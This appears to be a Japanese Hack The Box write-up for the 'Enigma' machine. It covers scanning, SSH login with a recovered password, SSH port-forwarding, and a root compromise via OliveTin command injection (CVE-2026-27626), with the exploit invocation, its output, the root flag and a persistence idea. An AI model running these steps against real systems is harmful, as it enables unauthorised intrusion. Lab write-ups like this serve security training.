
Hack The Box - Enigmaマシンに関する包括的なペネトレーションテストの解説とエクスプロイトの詳細。ローカル列挙、OliveTin CVE-2026-27626コマンドインジェクション、root権限昇格を網羅しています。
Enigma は、Hack The Box でホストされている中級レベルの Linux マシンです。評価手法は、標準的なペネトレーションテストのライフサイクルに従います。すなわち、偵察、列挙、認証情報の収集による初期アクセス、ローカル列挙、そしてサービス層の脆弱性(OliveTin における CVE-2026-27626)を悪用した root 権限昇格です。本ライトアップでは、ターゲットを完全に侵害し管理者権限を掌握するために必要な、ステップバイステップのベクター分析、ツールセット、コード実行戦略、および修復ガイドラインを詳述します。
Nmap)評価は、ターゲットホスト上で稼働しているオープンポートとサービスを特定するための TCP SYN スキャンから開始しました。
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
スキャン結果:
ディレクトリ探索ツール(gobuster / ffuf)を使用して、ポート 80 上の Web サービスをスキャンし、隠されたエンドポイント、管理ポータル、または設定アーティファクトを発見しました。
Web アプリケーションファイルと補助的な NFS 共有の詳細な分析を通じて、有効な開発者認証情報を発見しました。
harisbestfriends発見した認証情報を使用して、SSH サービスに対して認証を行い、ターゲットシステム上で対話型の低権限シェルを確立しました:
ssh haris@<TARGET_IP>
haris@enigma:~$user.txt) を正常に特定し取得。ユーザーレベルのシェルを確立した後、ローカルでリッスンしているポートとアクティブなプロセスを確認し、外部に公開されていない潜在的な攻撃対象領域を特定しました:
ss -tulpn
主要な発見:
root 権限で 127.0.0.1:1337 上でローカルに稼働していた。OliveTin アプリケーション設定ファイル (/opt/OliveTin/config.yaml) をさらに検査したところ、データベースバックアップアクションがシェルラッパーを介して実行されていることが判明しました。具体的には、設定は mysqldump コマンド文字列内で db_pass パラメータを利用していました:
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_pass
type: password
この設定は、重大なコマンドインジェクション脆弱性(CVE-2026-27626)を導入しています。なぜなら、db_pass パラメータはシェルコンテキスト内でシングルクォートで囲まれていますが、シェル制御演算子(セミコロン ;、パイプ |、バッククォートなど)を含む入力を適切にサニタイズしていないためです。
脆弱な OliveTin サービスは厳密に 127.0.0.1:1337 にバインドされているため、Kali 攻撃マシンからの外部リクエストは Connection refused エラーでブロックされます。サービスと通信するために、SSH を介してローカルポートフォワーディングトンネルを確立しました:
ssh -L 1337:127.0.0.1:1337 haris@<TARGET_IP>
OliveTin API エンドポイント(/api/olivetin.api.v1.OliveTinApiService/StartAction)を標的とした Python エクスプロイトスクリプトを使用して、脆弱なパラメータベクターに任意のシステムコマンドを注入しました。
元の mysqldump コマンドラッパーにおける厳密なシェル構文とディレクトリ依存関係のため、直接的なファイル作成は時に終了ステータスエラー(ターゲットディレクトリの欠如や権限制約など)を引き起こす可能性がありました。正確な実行文字列を作成するか、API 脆弱性を通じてファイルシステムを直接クエリすることで、実行上の障害を回避しました。
エクスプロイトインターフェースを介してコマンドペイロードを実行:
python3 CVE-2026.27626.py -u http://127.0.0.1 -x "cat /root/root.txt"
実行出力:
[+] Execution ID: 7fd15259-3996-4e03-9ebd-329034ee4e0d
======================================================================
Command Output
======================================================================
exit status 127
Usage: mysqldump [OPTIONS] database [tables]
...
ae9306f5690c4812c6f9445027d0d060
sh: 1: : Permission denied
======================================================================
root フラグは、コマンド出力ストリームを通じて直接抽出に成功しました。
ae9306f5690c4812c6f9445027d0d060/root/.ssh/authorized_keys に追加し、シームレスな管理者ターミナルアクセスを付与する方法があります。root セキュリティコンテキストで実行しないでください。サービスは最小限の権限を持つ専用のサービスアカウントで実行してください。